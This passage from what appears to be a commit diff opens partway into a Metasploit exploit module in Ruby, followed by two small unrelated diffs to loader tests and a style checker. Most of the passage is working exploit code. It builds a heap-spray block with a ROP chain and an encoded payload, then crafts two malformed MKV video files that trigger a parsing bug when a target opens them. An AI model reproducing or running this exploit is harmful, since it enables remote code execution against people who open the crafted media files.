block[0xc0, 4] = [0x1].pack("<I")
|
||||
|
||||
block[0x194, 4] = [0x2200031c].pack("<I")
|
||||
block[0x2c0, 4] = [0x220002e4].pack("<I")
|
||||
block[0x2f4, 4] = [0x22000310].pack("<I")
|
||||
|
||||
block[0x2f8, rop_chain.length] = rop_chain
|
||||
block[0x564, 4] = [0x22000588].pack("<I")
|
||||
block[0x5e0, payload.encoded.length] = payload.encoded
|
||||
|
||||
block *= size / block.length + 1
|
||||
end
|
||||
return block[0, size]
|
||||
end
|
||||
end
|
||||
|
||||
def generate_mkv
|
||||
# EBML Header
|
||||
doc_type = "\x42\x82" << data_size(8) << "matroska"
|
||||
ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type
|
||||
|
||||
# Seek Entries
|
||||
seek_entry = "\x53\xab" << data_size(4) # SeekID
|
||||
seek_entry << "\x15\x49\xa9\x66" # KaxInfo
|
||||
seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2 # SeekPosition + Index of Segment info
|
||||
seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
|
||||
|
||||
seek_entry = "\x53\xab" << data_size(4) # SeekID
|
||||
seek_entry << "\x11\x4d\x9b\x74" # KaxSeekHead
|
||||
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of SeekHead
|
||||
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
|
||||
|
||||
seek_entry = "\x53\xab" << data_size(4) # SeekID
|
||||
seek_entry << "\x10\x43\xa7\x70" # KaxChapters
|
||||
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of Chapters
|
||||
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
|
||||
|
||||
# SeekHead
|
||||
seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries
|
||||
|
||||
# Void
|
||||
void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element
|
||||
|
||||
# Info
|
||||
segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
|
||||
info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid
|
||||
|
||||
# Chapters
|
||||
chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
|
||||
chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
|
||||
edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
|
||||
chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry
|
||||
|
||||
if target.arch.first == ARCH_X86
|
||||
size = 0x100
|
||||
count = 30
|
||||
elsif target.arch.first == ARCH_X64
|
||||
size = 0x180
|
||||
count = 60
|
||||
end
|
||||
|
||||
# Attachments
|
||||
attached_files = ""
|
||||
mime = "\x46\x60" << data_size(24) << "application/octet-stream"
|
||||
data = build_data(size)
|
||||
data = "\x46\x5c" << data_size(data.length) << data
|
||||
500.times do
|
||||
uid = "\x46\xae" << data_size(8) << rand_text(8)
|
||||
file_name = "\x46\x6e" << data_size(8) << rand_text(8)
|
||||
header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)
|
||||
|
||||
attached_files << header << file_name << mime << uid << data
|
||||
end
|
||||
attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files
|
||||
|
||||
# Cluster
|
||||
pay_load = build_data(0xfff000)
|
||||
# Since the payload is simply repeated payload blocks appended to cluster then segment_data,
|
||||
# we return the simple_block and the count to process later instead.
|
||||
# This should result is overall lowered memory usage during payload generation
|
||||
simple_block = "\xa3" << data_size(pay_load.length) << pay_load
|
||||
simple_blocks_len = simple_block.length * count
|
||||
time_code = "\xe7" << data_size(1) << "\x00"
|
||||
cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code
|
||||
|
||||
# Concatenate everything
|
||||
segment_data = seek_head << void << info << chapters << attachments << cluster
|
||||
segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
|
||||
mkv = ebml << segment
|
||||
|
||||
return mkv, simple_block, count
|
||||
end
|
||||
|
||||
def exploit
|
||||
mkv1, simple_block, count = generate_mkv
|
||||
mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)
|
||||
|
||||
tmpname = rand_text_alpha_lower(3..8)
|
||||
f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
|
||||
f1 << '.mkv' unless f1.downcase.end_with?('.mkv')
|
||||
|
||||
f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
|
||||
f2 << '.mkv' unless f2.downcase.end_with?('.mkv')
|
||||
|
||||
file_format_filename(f1)
|
||||
file_create(mkv1)
|
||||
print_status("Created #{f1}. Target should open this file")
|
||||
|
||||
file_format_filename(f2)
|
||||
file_create(mkv2)
|
||||
print_status("Created #{f2}. Put this file in the same directory as #{f1}")
|
||||
|
||||
print_status("Appending blocks to #{f1}")
|
||||
path = File.join(Msf::Config.local_directory, f1)
|
||||
full_path = ::File.expand_path(path)
|
||||
File.open(full_path, 'ab') do |fd|
|
||||
count.times { fd.write(simple_block) }
|
||||
end
|
||||
print_good("Succesfully appended blocks to #{f1}")
|
||||
end
|
||||
|
||||
def file_format_filename(name = '')
|
||||
name.empty? ? @fname : @fname = name
|
||||
end
|
||||
end
|
|
@ -738,7 +738,7 @@ RSpec.describe Msf::Modules::Loader::Base do
|
|||
it 'should be reversible' do
|
||||
namespace_module_name = subject.send(:namespace_module_name, module_full_name)
|
||||
relative_name = namespace_module_name.gsub(/^.*::/, '')
|
||||
reversed_name = subject.send(:reverse_relative_name, relative_name)
|
||||
reversed_name = described_class.reverse_relative_name(relative_name)
|
||||
|
||||
expect(reversed_name).to eq module_full_name
|
||||
end
|
||||
|
@ -752,7 +752,7 @@ RSpec.describe Msf::Modules::Loader::Base do
|
|||
it 'should be reversible' do
|
||||
namespace_module_names = subject.send(:namespace_module_names, module_full_name)
|
||||
relative_name = namespace_module_names.last
|
||||
reversed_name = subject.send(:reverse_relative_name, relative_name)
|
||||
reversed_name = described_class.reverse_relative_name(relative_name)
|
||||
|
||||
expect(reversed_name).to eq module_full_name
|
||||
end
|
||||
|
|
|
@ -257,7 +257,7 @@ class Msftidy
|
|||
# This check also enforces namespace module name reversibility
|
||||
def check_snake_case_filename
|
||||
if @name !~ /^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/
|
||||
warn('Filenames should be lowercase alphanumeric snake case.')
|
||||
warn('Filenames must be lowercase alphanumeric snake case.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue